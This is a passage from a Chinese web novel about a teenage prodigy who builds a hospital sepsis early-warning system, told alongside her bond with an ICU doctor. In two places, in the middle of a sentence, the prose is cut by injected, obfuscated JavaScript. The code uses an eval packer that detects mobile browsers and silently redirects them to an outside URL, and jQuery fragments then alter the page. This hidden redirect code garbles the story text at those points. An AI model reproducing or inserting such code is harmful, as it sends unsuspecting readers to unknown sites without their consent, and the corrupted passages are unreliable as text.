后来,听说这件事的查尔斯给佐伊安排了一个公寓套间,在27楼,从工作室坐电梯上去只要三分钟。这一整层都是集团提供给高管的休息室,方便他们谈私事,倒时差,也有人偶尔通宵的时候来这里休息,平时没什么人。不过这里的物业管理得很不错。 但佐伊依然没有收起自己的小床,她自己说,一个阶段工作没结束的时候,没法离开工作室。 公寓套间像酒店套房,不是很大,但够住。玄关有两道门,最外侧那道门物业可以刷开,方便带走生活垃圾及脏衣篮里的换洗衣物。 再往里走,除了卧室和洗漱间,还有个小客厅,连着一个简单的厨房操作台,有水池、电磁炉和微波炉。小冰箱还空着,整箱的代餐奶昔放在茶几边上。窗台上放着那个南瓜骷髅,已经彻底风干了,颜色从橘色变成了深褐色,皱巴巴的,但还放在那里。 不管怎么说,这终于不是佐伊“临时”的住处了。是一个真的属于她自己的地方。 佐伊也有了新的工牌。白底,左上角印着Beacon的标识,中间是她的名字:Zoey Prince。职位是系统架构师——Jotish亲自批的特招。 照片大概是在行政楼大堂找了个白背景随便拍的,头发扎得很整齐,表情很平静,嘴角微微翘着,看起来像一个小号的尤兰达。至于她工牌绑定的通行权限,大概只有查尔斯和佐伊自己知道。 疗养院的那一间长期病房,终于退了。 佐伊搬家那天,安东尼刚好休假。等他再回到ICU的值班室,发现桌上多了个留言条。 是从拍纸本上撕下来的,边缘有点毛。字迹很熟悉,工工整整的,一笔一画,像是怕他看不清,每个字母都写得很端正。 “我搬家了。行政楼2709。你的工牌权限已赋值。” 没有落款。但他认得那个字。 安东尼把留言条拿起来,看了一会儿,折好,放进了白大褂的口袋里。 他低头看了看自己的工牌。还是原来那张,照片是刚来那年拍的,表情比现在愣一点,看起来好像什么都没变。 但他知道,从今天起,他可以刷卡去27楼了。 18. 功能上线 佐伊说起来是入职了,但她不考勤。工作内容跟着项目走。而那些项目——尤其是日程表上那些写着要与其他高校及专家联系的时间,往往要兼顾对方的时区。正因如此,她每天都作息时间很飘忽。谁也说不清这孩子到底什么时间在睡,又是什么时候醒的。 这也导致了她出现在安东尼办公室的时间非常随机。 有一天安东尼值夜班,凌晨两点刚处理完一个病人的突发状况,回到办公室准备补记录,推门就看见佐伊蜷在沙发上。电脑放在膝盖上,屏幕的蓝光把她的脸照得有点白。她听见门响,头也不抬,说了一句“你忙你的”,手指继续在键盘上敲。 “在干嘛?”他问。 “做特征训练。”她皱着眉,“假阳性距离目标值还是偏高三个点,我在找原因。” “三个点?ICU可以容忍多三个点,我比较喜欢虚惊一场。”安东尼半开玩笑的揉了一把佐伊软软的头发。她最近把头发剪短了,马尾辫也不扎了,睡醒了起来,随便梳梳头,围个围巾,把自己大半张脸都藏在头发和围巾组成的“圈”里面,像只总是在寻找躲避处的猫。 佐伊像大人一样叹了口气,“你们可以,但是急诊不行。” 她歪着头想了一会儿,好像是在努力把程序语言转化成安东尼可以理解的表达:“每个科室的假阳性目标是不同的,ICU可以容忍35%左右的假阳性率,因为这里的病人本来就在极其严密的监护之中,对你们来说,很多指标该查的本来就要查,核心的血培养、乳酸,本来就在定期监测之中,超过三分之一的虚惊一场,不会浪费你们的资源……” “急诊就不一样,那个位置信息嘈杂,决策必须立刻马上……如果也用这个35%,就会让楼下的主治鸡飞狗跳,检验科也会增加很多不必要的工作。我必须把他们的假阳性率压到10%以内,最好是8%。” “至于病房,可以容忍20%左右的假阳性率,阈值太低,会漏掉10%左右的风险病人,这在临床接受不了,太高了……就会形成过多假警报,护士会因为频繁报警影响其他正常工作,以至于把这个预警系统直接关掉。” 她顿了顿,手指停了一下,像是在组织语言。 “此外,每个层级的分层决策和点亮‘密切关注’红灯的时间也不同。急诊室的评估因为相关数据和检验的缺失,只能预测2~3小时的潜在风险,而ICU,要有至少12小时的提前量。病房则不一样,我直接采用‘预警积分’而非二分类警报,帮助医生优先安排巡视。做快速的床旁评估……成本低,效率高,资源占用少……” 佐伊的手指又忙碌了起来。屏幕上的三四个窗口闪过的数据,看得安东尼眼花。 安东尼没再问了。他在这时候意识到了,佐伊之前在医院“混”查房的六七年,带给她的系统性思维能力和综合评估的能力,已经远超一个ICU医生的理解范畴了。并且他也感受到,这个系统好像真的只有佐伊能做——她了解医院,熟悉诊断流程,懂病理生理,还会写代码,架硬件…… 安东尼坐下来写自己的病程记录,办公室里只剩下键盘的声音,一个快,一个慢,像两条不同速度的河流并排流着。 安东尼有一轮休假期间,曾去行政楼给佐伊送吃的,他发现,佐伊工作室的主机,比她整天抱在手里的笔记本工作站强多了——是那种外行都能看出来的明显的代差。她虽然依赖工作室里能够提供的硬件条件,但是依然会在脑子卡住,或者是需要转换情绪的时候,来安东尼这里坐一会儿,依然抱着那个死沉死沉的笔记本工作站,出现在自己的办公室里。这孩子大概已经把自己办公室的沙发当成了第二工作室。 有一天,他早上八点交完班,推开办公室的门,发现她已经在了。不知道什么时候来的,屏幕上开着一堆窗口,手里转着一支笔,茶几上的拍纸本上写满了字。听见他进来,她抬头打了个呵欠,眼睛下面有一圈浅浅的青灰色。 “一夜没睡?”他问。 “睡了。”她说,“睡了一会儿。” 安东尼看着她那副样子,叹了口气。他也不问“睡了一会儿是多久”了,直接说:“走,吃早饭。” 佐伊犹豫了一下,看一眼屏幕,好像在算这一顿饭的时间够不够再跑一组数据。但安东尼站在门口不走,她就保存了文件,合上电脑,跟出来。 也有时候她来不是为了跑数据。安东尼推门进来,发现她坐在他的椅子上,面前摊着一本病历——不是那种随便翻翻的样子,是认认真真在看。他走过去,她的视线都没有离开显示屏:“帮你写完了。” 他低头一看,电脑屏幕上的病程记录已经写好了,从交班摘要到每个病人的情况,一条一条,工工整整。遣词造句和他写的一模一样,连标点符号的习惯都一样——分号后面空一格,数字和单位之间不空格,诊断名称用全称不加引号。 “你怎么办到的?”他有一次忍不住问。 佐伊嘴里还叼着棒棒糖,含含糊糊地说:“看了你前两年的病程记录,总结了一下规律。”她顿了顿,把棒棒糖从嘴里拿出来,“你的逻辑很好模仿。先交代最重要的变化,再列次要指标,最后写调整方案。每一个段落的长度差不多,关键词的位置也差不多。” 安东尼站在她身后,看着屏幕上那几段文字。每一段都像是他自己写的,但又比他写的更干净一点点——没有冗余的词,没有多余的修饰,每个句子都刚好说到位就停。 “你拿我的病程当模仿对象了?”安东尼有点好笑地问。 佐伊把棒棒糖塞回嘴里,腮帮子鼓了一下。“嗯。我的语料库。”她说,语气很平静,好像在说一件理所当然的事。然后她键盘一推,转头看他。“顺手,而且换换脑子。你看看?” 他看了。连标点符号都不用改。 不知道平时Jotish和佐伊是怎么协作的。佐伊在病区和技术中心之间往返跑了两个月之后,这个站在后台“指挥”佐伊“跑腿”的老头大概觉得佐伊搭的模型可以上线了。这才溜溜达达的来院区看了看,主要去了医院的IT和信息中心办公室,对了对具体接口。然后又溜溜达达的走了。三天后,所有护士站和医生的平板电脑完成了一轮系统更新——住院病人主页上,多了一个预警模块。 点进去,可以看到病人脓毒症的风险分级。当系统根据病例数据判断某个病人有脓毒症风险,系统就会跳出弹窗——在急诊是满屏的那种,医生必须立刻下医嘱处置。很准,差不多二十个里面有一个是虚惊一场。在病房系统,这是一个警示标志,提醒主治医生立即安排床旁评估和增加监护。在ICU,则是一个高亮标签,提示立刻完善检查——系统甚至设置了个“一键医嘱”,根据病人既往史和最近的检验检查报告,迅速提示需要进行哪些补充、哪些指标时效性已过。值班医生只要在页面上根据实际情况勾选并签名。 部署完成之后,佐伊组织了一个宣讲会,简短讲了一个多小时,将功能逻辑,数据调用方式,保密协议,使用方式都说了说。着重把新功能向主治们宣贯了一番。还做了一个使用手册——其实没什么必要,因为她已经把界面优信息优化得极为“傻瓜”了,会用平板电脑的人,看了都能懂。 此外,她重点培训了医院信息中心及IT部门,最后丢下一句话,“你们先用着,要是哪里不顺手,邮件我,我来改。” 参加这场宣讲会的规培、以及这些年新上任的主治们多少有点疑惑的看着讲台上那个熟悉而陌生的身影——这个当年在查房队伍里对规培队伍形成碾压的背影,不知道什么时候换了一个赛道。 这一天,病房茶水间的闲聊话题都高度统一—— “她没有去学医吗?她前段时间不查房了,我以为她考上医学院去读书了!” “所以那个总是跟着安东尼主任查房的小姑娘,转行做IT了?” “不,你们不看Beacon官网吗?已经公示了,她是新入职的系统工程师。” “那她在医院里混着的那几年,学的比我们都好的那些东西,她就这样不要了?” “没有不要啊,她要是没有这些知识积累,哪里做得出这个预警模型?查房……大概是她的新手村?” 安东尼有些沉默的看着自己治疗平板上多出来的新模块。在试用期的半个月里,它已经很成功的提前12小时预警了六次脓毒症感染,其中还有一个是四岁多的小孩。这提前的时间窗口非常珍贵,让ICU的主治们能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401660|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够提前干预,减少了一些“突然人就不好了,医生们忙得人仰马翻”。 预警机制的项目落地了,其他项目紧跟着上了,好像是个保密项目,佐伊来得少了,就算来也不带电脑了。但隔三差五还是会来,用她自己的话说,“这里舒服,27楼安静到我睡不着。” 她不来工作,只是来待一会儿。 那种时候她通常不翻病历,就蜷在沙发角落里,手里捧着一本书——不是医学书,也不是技术文档,是一些安东尼看不太明白她为什么会看的东西——有一回是法语的小说,有一回是哲学导论,有一回是一本很厚的、关于冷战史的书。她阅读速度很快,但也经常翻几页又倒回去重新看。她看书的时候不说话,安东尼写病程的时候也不说话。 有一次,凌晨四五点,安东尼写完最后一个病人的记录,靠在椅背上伸了个懒腰,发现她已经把书扣在胸口,两只手乖乖抱着着,睡着了。呼吸很轻,他走过去,把书从她手底下拿开。她动了一下,没醒。他看了一眼封面,是《伊利亚特》,书页间夹着一张便签纸,上面写着一行字,她手写的,字迹潦草。 “阿克琉斯为什么要回来?” “有限生命,无限意义”。 他把书合上,放在茶几上,又从柜子里拿了一条毯子盖在她身上。她蜷了蜷身子,把毯子裹紧了。 他回到自己的椅子上,继续看下一本病历。 走廊里偶尔有人经过,推着车,或者低声说话。护士站的电话响了两声,被接起来了。声音从远处传来,又远去了。办公室里很安静,只有佐伊的呼吸声,和他的笔尖划过纸面的声音。 那天他写完病程,又在办公室多待了一会儿。不是因为有事,是因为沙发上那个人睡得很沉,他不想开门的动静把她吵醒。 他拿起桌上的平板,打开那个新上线的预警模块。界面很干净,病人的名字排成一列,后面跟着风险等级,低、中、高,用不同的颜色标着。高风险的病人旁边有一个红色的感叹号,点进去可以看到详细的指标,实时的——心率、血压、呼吸频率、白细胞计数、CRP趋势。每一项都标出了异常值出现的时间,最早的一个在十三个小时之前。十三个小时。那时候值班医生还没意识到有什么不对,但系统已经把这个病人标成了黄色。再过四个小时如果还没有转好,它就会变成红色。 他看着那个界面,想着她是怎么做到的。她在这栋楼里混了六七年,把每一个科室的流程、每一个医生的习惯、每一个指标的临床意义都装进了脑子里,然后用代码把它们变成了一条一条的规则,一个一个的阈值,一层一层的决策树。她把自己在这栋楼里学到的一切,变成了一个可以复制的东西。一个可以救更多人的东西。 他把平板放下,靠在椅背上,闭上眼。 办公室里的声音很轻。走廊尽头的制冰机响了一下,冰块掉进桶里,哗啦一声,然后归于安静。空调的风口发出很低的嗡嗡声,恒温的,永远二十二度。窗外偶尔有车经过,车灯的光从窗帘的缝隙里漏进来,在天花板上划一道弧,然后消失。还有佐伊的呼吸声。那个声音最轻,但他听得最清楚。 他想起她吃通心粉的样子,腮帮子鼓着,嘴角沾着番茄酱。想起她蜷在沙发角落里看书,手指翻过书页时那种轻快的节奏——唰,停,唰,停。想起她坐在他的椅子上,替他写病程记录,写完以后推一下键盘,转过来看着他,说“你看看”。想起她站在讲台上,对着满屋子主治和规培讲那个预警系统,带着麦克风,但每个字都很清楚。她刚满十四岁。 他把桌上的台灯调暗了一点。光从佐伊的脸上移开,落在茶几上那本《伊利亚特》的封面上。便签纸还夹在书页间,露出窄窄的一条,上面那行字被灯光照得发白。“有限生命,无限意义”。他想起她写这行字的时候大概在想什么。也有可能只是脑子里一闪而过的念头,觉得好,就写下来了。她做很多事都是这样——觉得有意思,就做了。学医有意思,就学了。写代码有意思,就写了。做这个预警系统有意思,就做了。不问她能不能做,不问别人怎么看,不问这件事有没有先例。她只问:这件事有没有意思?能不能救人? 他看了看那个孩子睡熟了的影子,笑了一下。 19. 甜菜 接了新项目之后,佐伊像一只出巢的小鸟,归巢休息的频率,越来越低了。安东尼办公室里的糖罐子,距离上次补货足足有一个月 ,都没见底。 佐伊不曾与安东尼聊过自己的具体工作安排,也没有刻意与他谈过“将来”。只是在某一次去安东尼那边拿棒棒糖吃的时候,含含糊糊的说了一句,“我最近在写论文。可能还要出去比赛,还有答辩。有具体时间表的时候,我告诉你。” “什么论文?”安东尼没惊讶,只是有点好奇她到底在往哪个方向发展。 “脓毒症预警系统那个。还有个分析模型的。”佐伊叼着棒棒糖,顿了顿,“还有个数学的在准备,写的好累。” 她的确看起来很累。 “几点睡的?”安东尼皱着眉。 佐伊抬了抬眼,没说话。这约等于承认了自己没睡多久。 安东尼也没追问。这孩子作息一直不正常。小时候作息还有护工看着,勉强规律。自从和jotish及那些跨国的合作方混在一起,一日三餐和睡眠时间都飘上了天。 jotish没把她当正常人在用,那个疯老头说,如果把她当正常人,那就是浪费了她的脑子。 查尔斯也没把她当正常人,因为查尔斯自己这个全世界乱飞的工作狂也不知道正常人的生活是什么样子的。 可能只有安东尼,能把佐伊当成一个正常人——一个大手术后恢复不错的,但依然需要被照顾生活,饮食和睡眠的,十四岁的正常人。 一根棒棒糖含着含着从棍子上掉下来了,佐伊嘎啦嘎啦三两口嚼化了,伸手又拿了一个。她恒牙都已经换好了,安东尼看着她天天吃糖,没忍住念叨了一句,“注意刷牙,要想不起来漱口,记得多吃苹果。我每半年给你约牙医。” “哦。”佐伊孩子气的拿棒棒糖当牙刷,在自己的牙齿上锉了锉。安东尼像个有点儿操心女儿健康的爸爸,深吸了口气,但是没再多说什么。毕竟,吃糖这件事,已经是她仅存的“孩子”脾气了,而且,以她的脑力消耗和低血糖的小毛病,爱吃糖就吃吧,多吃点也没事。 那场对话之后没多久,佐伊去了趟曼彻斯特打比赛,赛程三天。虽然距离伦敦往返路程只有三四个小时,但康妮还是跟了,jotish没去。 完赛的那天中午,安东尼有点提心吊胆地在总部楼下接她。车停稳的时候,他站在门口等,手插在风衣外套的口袋里,攥着一瓶高糖。门开了,佐伊自己拉开车门溜达下来,没用人扶。她的影子被阳光拉得细长。 还是又厚又重的工作站,还是鼓鼓囊囊的双肩包,还是大概两整天没怎么睡的脸色。她看见安东尼站在门口,脚步顿了一下,然后走过来,没说话,把脸埋进他胸口。 “累了。”她说。声音闷在他的外套里,哑哑的,带着一点鼻音。 “去睡一下。”安东尼抬手摸了摸她的头发。不知不觉,她已经长得比他的肩膀高一点点了。头发还是灰色的,软软的,从指缝里漏出来,带着一点车内空调的凉气。 她嗯了一声,从他怀里退出来,往楼里走。安东尼落后半步跟着。康妮紧赶了两步,抢着接了佐伊手里拎着的电脑包和双肩包,趁佐伊侧身刷楼层权限卡,她冲安东尼比了个口型:又没怎么睡。 安东尼点了点头,示意康妮先上去安顿小家伙睡觉。毕竟这是个小姑娘,他不方便总往她卧室里跑。 他站在原地,看着佐伊的身影消失在电梯门后面。然后他转身,往手术室食堂走。她现在没说饿,但一会儿睡醒可能想吃。 各种意义来说,安东尼在伦敦学会了“好好生活”——他给自己安了个家,每周休息的那三天会根据季节安排短途出行,也会把食堂的隐藏菜单给“硬点”出来。每个食堂的厨师都认识他,看见他进来就笑了:“又是通心粉?咖喱鸡配芝士?” “番茄牛腩配芝士的。”安东尼说,“酱多一点。” 厨师按照安东尼的要求打了饭,铝箔纸包了两层,又套了一个纸袋。安东尼接过来,没走电梯,从消防楼梯绕到地库,再刷工牌进了行政楼的电梯。受到佐伊启发,安东尼发现Beacon总部大楼和医院那头,在停车场层,居然也是通的。 这是他第一次用自己的工牌刷开佐伊小公寓的房门。 门锁滴了一声,他推门进去。客厅很安静,窗帘拉着,只留了一条缝,午后的光从缝隙里漏进来,在木地板上画了一道细细的白线。电脑包和背包扔在客厅沙发上,鞋子留在玄关。人已经进了卧室,门关着,听不见声音。 安东尼把通心粉放在餐桌上,在桌上找了张便签纸,写:“醒了吃。微波炉热三分钟。”写完之后他看了一眼那张便签纸,觉得字太潦草了,但也没必要重写,佐伊能看懂。安东尼把纸条贴在纸袋上,怕它掉,又按了按紧。 然后他站了一会儿,看了看这间屋子。 客厅和他第一次来的时候已经完全不一样了。原本空空的墙壁上多了块大黑板,占了整整一面墙,上面用粉笔写满了字。不是那种随便写写的笔记,是一整张逻辑图,线条从中间向四周散开,节点上标着各种缩写和数字。右下角画了一个小人,大概是画的时候脑子卡住了,随手画的。小人的表情很严肃,眉毛竖着,嘴巴是一条横线,看起来像在生气,又像在思考。黑板的另一边贴着一张曼彻斯特的地图,用红笔圈了几个地方,旁边写着一行字:“别迷路。”看字迹,大概是康妮写的。 另一侧多了个书架,顶天立地的,各种东西塞了大概三分之一。最上面一排是那些他从疗养院时代就认识的医学书,书脊都被翻出了褶子,有些还夹着便利贴,花花绿绿地冒出来。中间一排是新东西,书脊上印着“算法”“数据结构”“神经网络”之类的东西,看起来没怎么翻过,但有几本的书页间夹了便签。最下面一排乱七八糟的,有几本小说,一本诗集,还有那本《小王子》——书脊已经弯了,页角卷着,被翻过很多次。 他走过去,站在书架前面看了一会儿。然后他转过身,看见窗台上那个南瓜骷髅还在。已经风干透了,颜色从橘色变成了深褐色,皱巴巴的,那张刻出来的脸还在——又冷静又可爱的表情,依然和她有点像。 他走过去,伸手碰了碰。很轻,干透了的东西碰不得重手。南瓜骷髅在窗台上晃了一下,稳住了。 他走到厨房那边看了看。冰箱里有牛奶了,一盒,喝了一半,开口朝里放着。厨房桌子上有苹果,两颗,一大一小,大的那颗上面有一个小小的磕痕,大概是从袋子里拿出来的时候碰的。一箱代餐奶昔快空了,只剩两盒歪在箱子底部,另一箱备用的还没开封,放在旁边,封条都没拆。 他看着那箱没拆封的代餐奶昔,站了一会儿。然后他转身,轻轻带上门,走了。 查尔斯在29楼的办公室。安东尼想了想,觉得需要上去一趟。不是因为什么重要的事,但他觉得需要知会一下这位委托人,想让他给佐伊减减压。毕竟再过两个月就是年度复查,就算平时有点“肆无忌惮”,体检前总得尽量收敛收敛。 他按了向上的按钮,电梯门开了,他走进去,按了29。数字一格一格地跳。27,28,29。门开了,走廊里铺着灰色的地毯,很厚,踩上去没有声音。查尔斯的办公室在走廊尽头,门关着,门口的秘书不在座位上,大概是去吃饭了。 他敲了敲门。 “进。”里面传来声音。 他推门进去,发现另有一个年轻人正准备离开。看起来三十岁没到,穿着一件深蓝色的春季冲锋衣,拉链拉到一半,里面是一件格子衬衫。手里捧着一个文件袋,指节攥得有点发白。整个人有点像……自己刚刚来的时候那个样子,可能比自己那时候还年轻点儿。 两人礼貌地互相点了个头。安东尼瞄到他的访客证,是个临时卡,白底绿边,上面印着“Visitor”的字样,名字那一栏手写着“Vital”。 年轻人冲他笑了一下,有点局促,然后侧身从门边让过去,走了。 安东尼在查尔斯对面坐下来。办公桌上的显示屏亮着,锁屏界面,时钟显示下午三点十七分。查尔斯靠在椅背上,看着他。 “她回来了?”查尔斯问。 “回来了。睡了。”安东尼说,“脸色不太好。又熬了几天。” 查尔斯点了点头,没说话。 安东尼靠在椅背上,想了想措辞。“她那个作息,你得管管。Jotish那边你管不了,但你女儿这边你得说。再过两个月就年度复查了,她那个循环,经不起这么熬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401661|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 查尔斯看着他,没说话。安东尼知道他听进去了。这种沉默不是拒绝,是在想怎么回应。 “我找她谈谈。”查尔斯说。 “不是谈谈。”安东尼说,“是管。她听你的。你说了,她会听。” 查尔斯沉默了一会儿,然后点了点头。“好。我会注意的。” 安东尼知道,他能这么说,就已经等于把新的工作安排写进了日程表。于是他干脆地站起来,转身走了。走到门口的时候,他停了一下,回头看了一眼查尔斯。查尔斯已经低下头,在看桌上的一份文件,眉头微微皱着,看起来和佐伊在黑板上画的那个小人有点像。 他推门出去,走廊里很安静,地毯踩上去没有声音。他往电梯口走,走到拐角的时候,看见刚才那个年轻人还在,站在电梯门前,手里捧着那个文件袋,一脸进退两难的样子。 他低着头看着手里的访客证,又抬头看了看电梯的读卡器,又低头看了看手里的访客证。那个动作重复了两遍,像是在确认什么东西坏掉了。 “怎么了?”安东尼走过去,先开了口。 年轻人转过头,看见是他,有点不好意思地笑了一下。“呃……访客卡不知道为什么刷不开电梯。”他揉了揉鼻子,鼻子尖好像有点红,眼睛也有点红,不知道是被伦敦的风吹的,还是别的什么原因。 “哦。这层不太一样。”安东尼掏出自己的工牌,在读卡器上贴了一下,滴的一声,电梯的按钮亮了起来。他按了向下的按钮,门开了,他侧身让年轻人先走进去,然后跟进来。 “你去哪层?”他问。 “一楼就行。”年轻人说,“我行李在大堂。”他顿了顿,又问:“人事部你知道在哪儿吗?”他有点不好意思地笑了笑,“我去办入职,还有临时公寓什么的……不过我的行李在大堂,访客回一楼应该总可以吧?” 安东尼打量了一下这个年轻人。至少一米九,比他还高小半个头,但整个人看起来有点瘦,冲锋衣穿在身上空荡荡的。头发是深棕色的,有点长,搭在额前,被帽子压出一个弯。一看就是雅利安血统,眉眼很深,但笑起来的时候眼睛会弯成两道弧,把那点深邃都冲淡了。 “刚到?”安东尼问。 “嘿嘿,刚落地几个小时,时差还没倒过来。”他有点过于活泼地笑了笑,那种笑容安东尼见过——在那些长途飞行后疲惫到极点、反而亢奋起来的人脸上。“我叫Vital,MIT来的,准备入职技术中心。你呢?” “我是安东尼。”他顿了顿,“ICU的。” “您是医生?BeaconCare的?”vital歪了歪头。微微卷的头发跟着晃了晃。 “对。”安东尼点点头。 两个人沉默了一会儿。那个新来的小伙子好像想再问点什么,但是没开口。 电梯到了一楼,门开了。Vital先走出去,安东尼跟在他后面。大堂里人来人往,有人在接待台前填表,有人抱着文件往外走。Vital站在大堂中间,左右看了看,像一只刚被放出来的小狗,对这个新地方充满了好奇又不知道该去哪儿。 “人事部在三楼。”安东尼给他指了个方向,“跟前台说一下,要个临时权限,到电梯厅换低层电梯上去,开门左转第二个玻璃门,你上去了就能找到。” “谢谢!”Vital把文件袋夹在胳膊底下,腾出手来和他握了一下。vital的手很凉,指尖有点抖,大概是时差的关系。“我先去办手续。回头请您喝咖啡!” 安东尼点了点头,压根没在意,“never mind。” Beacon集团有近两千人在这三个街区办公——医疗系统,能源系统,运输系统,信息技术系统……主楼的餐厅有六个,硬件支持中心那儿有两个,医院那边特殊点,虽然面积不大,食堂有八个。两个陌生人,在这个庞大的系统里运转,再见面需要……不少运气。 vital走出两步,又回头看了安东尼一眼。 安东尼愣了一下,没料到这孩子会回头。他挂起一个标准的“家属谈话”版本的微笑,对着他着挥了挥手,然后,看着那个高高瘦瘦的背影离开。 有点像八年前的自己。安东尼在心里默默的笑了笑。 20. 睡醒 佐伊睡了大约12个小时,醒来时候是凌晨两点多。她把纸袋里已经凉透的通心粉倒出来,放在玻璃碗里,推进微波炉加热。凝固得像大理石一样的奶酪在微波的作用下慢慢融化,咕嘟咕嘟冒着泡泡。等待的时候,她靠在料理台边上,给安东尼发了条消息:谢谢。 安东尼在值夜班。病人不稳,他守在病床旁,没回。 通心粉热好了。佐伊端着吃的挪到书桌边,开了电脑,一边吹凉滚烫的芝士,一边切进ICU的监控数据看了一眼。大部分挺稳,不好的那个六床,是肝巨大肿瘤切除术后。血压不行,医嘱记录里,多巴胺已经调了两轮,剂量从五调到八,又从八调到十。效果不好。血压还是往下掉的趋势,像一条慢慢滑下去的斜坡。 佐伊看着那条曲线,手里的勺子停在半空。她知道安东尼今晚值班。这个病人,大概是他守在床旁的那个。 她没再多分心,转头开始刷近一个月脓毒症系统报出来的假阳。 这一段时间的假阳性报告整整齐齐地列在那里,每一行都有一个红色的标记,写着“误报”和原因分析。她一行一行地看,眉头慢慢皱起来。 第一个在ICU,系统标了高风险,但病人最后确诊是心衰,不是脓毒症。她把那个病例的指标一条一条调出来看,心率、呼吸频率、体温、白细胞、CRP……然后她低下头在拍纸本上写了一行字:心衰早期表现与脓毒症相似,特征权重需调整。 第二个在病房,血液科。一个霍奇金淋巴瘤患者,系统提示了需密切关注,但最终确诊居然是噬血细胞综合征,是顽固性高热、铁蛋白的异常升高,以及行进降低的三系,帮助推进了诊断。虽然最终的基因检测还没出结果,但查体已经符合了HLH中的六条。霍奇金淋巴瘤联合HLH,病情进展往往极快,部分患者可能最终都没熬到确诊,就没有了被治疗的机会。佐伊捏着铅笔的手紧了紧,在拍纸簿上写:或可协助预警“想不到”,特征谱系需根据科室再细分。 有个别假警报是因为标本污染。操作规范看来还要再抓一抓。 此外,大部分误报集中在急诊科,假阳性率从她设定的10%目标值漂到了13%左右。她点开几个样本,看了看数据,发现问题出在一个此前没考虑到的变量上——急诊科的初诊记录里,有些病人的第一个体温是在外院测的,用的不是同一个标准 第一个,院外体温37.8,系统标了黄色。但急诊科复测的体温是37.3,差了0.5度。第二个,院外体温38.2,复测37.6。第三个,院外体温39.1——这个倒是准的,但病人是个长期用激素的类风湿患者,基础体温本来就不正常。 她靠在椅背上,盯着屏幕。铅笔在指尖转,转了几圈,停了。问题出在初诊记录上。急诊科接诊的时候,病人的第一个体温往往是在外院测的,数据直接从院前急救记录或者转诊单上导进来,没有经过复核。那些数据带着不同程度的误差——耳温、腋下、口温、肛温,不同部位,不同标准,不同品牌体温计的差异,全混在一起,被系统当成同样可靠的数据喂进了模型里。37.5和37.3,对急诊医生来说可能差别不大,都是低烧,都不需要特殊处理。但对模型来说,0.2度的差值,可能就是触发报警的最后一根稻草。 佐伊把最后一口通心粉塞进嘴里,嚼了两下,咽下去,把碗推到一边。手指搭上键盘,开始敲。先调急诊科的数据接入规则。院外体温数据加一个置信度标签,根据来源渠道分级——院前急救记录、转诊单、病人自述、家属口述,每一级对应不同的置信度,低于某个阈值的直接排除,不作为模型输入。她一边写一边想,这个规则不能太死,又加了一条:如果置信度低于阈值,直接触发人工复核。然后重新跑了近一个月的数据,假阳性率从13%掉回了11%,还差一个点。 四点半,手机亮了一下。佐伊拿起来看了一眼。 安东尼:刚看到。六床刚稳住半小时。你吃了吗? 她看了看旁边空了的玻璃碗,碗底还剩一层薄薄的芝士酱。 佐伊:吃了。 安东尼:再睡会儿。 佐伊:醒了。不睡了。 安东尼那边沉默了几秒。显示正在输入的小点在界面顶端徘徊了一阵,大概是写了删,删了又写:那下午再补个觉。 佐伊:嗯。 她把手机扣在桌上,继续找偏差,调模型。急诊科的假阳性率从11%降到10.5%,又降到10.2%,最后卡在9.8%的位置不动了。她试了几种方案,效果都不太理想,她叹了口气,决定先放一放。 她把这个改动写进更新日志,保存,推送到测试环境。然后靠在椅背上,伸了个懒腰。窗外有车经过,车灯的光从窗帘的缝隙里漏进来,在天花板上划了一道弧,然后消失。 七点了。安东尼这会儿应该在交班。 佐伊站起来,走到窗边,拉开窗帘。伦敦四月的早晨,天还是灰蒙蒙的,云层压得很低,但东边的天际线上有一层薄薄的橘色,像是太阳在云层后面试着探出头。楼下的街道上已经有车在走了。远处的泰晤士河在晨光里泛着灰白色的光,河面上的波纹一层一层地推过来,又被下一层盖住。 她穿上灰色外套,摸了摸拉链口袋里的工牌,确认重要证件在,换了双舒适的运动鞋,准备找安东尼一起吃早饭。在曼彻斯特的那几天,喝不到行政楼LG2层的热巧克力特调,也没吃到安东尼办公室里的棒棒糖。 安东尼这一夜守得有点辛苦,佐伊找到他的时候,他刚刚交完班,脸色有点憔悴,眼睛下面有一圈灰,嘴唇有点干,下巴上冒出一小片没刮干净的胡茬。白大褂换下来了,穿着深绿色的刷手服,领口有点皱,正坐在电脑后面写病程。他听见门响,抬起头,看见她,愣了一下。 “你怎么这么早?”他问。 “睡不着。”佐伊走过去,在沙发上坐下来。那个位置,是她的位置,靠窗的那一头,能晒到太阳的那一头。茶几上什么都没有,糖罐子还在老地方,棒棒糖还剩几支,靠在罐子边上,五颜六色的。 她拆了一支,叼在嘴里,靠进沙发里,看着安东尼敲键盘。他的手指在键盘上动得很快,打几行,停一下,想一想,又继续打。屏幕上的病程记录一行一行地堆上去,他签了名,保存,关掉窗口。 “六床稳了?”她问。 “稳了。”他说,靠在椅背上,揉了揉眼睛,“肝切除术后,感染性休克,折腾了一夜。” “多巴胺调到了多少?” “十二。” 她没说话。十二是上限了,再往上就要加别的药了。 “后来加了去甲。”他说,像是知道她在想什么,“零点二微克,慢慢往上调。凌晨三点的时候血压稳住了。” 她点点头。棒棒糖在嘴里转了一圈。 “后来睡了吗?”安东尼问。 “没”她说。 “走了,去吃饭。”安东尼站起来理桌子,把工牌和钥匙揣进口袋。 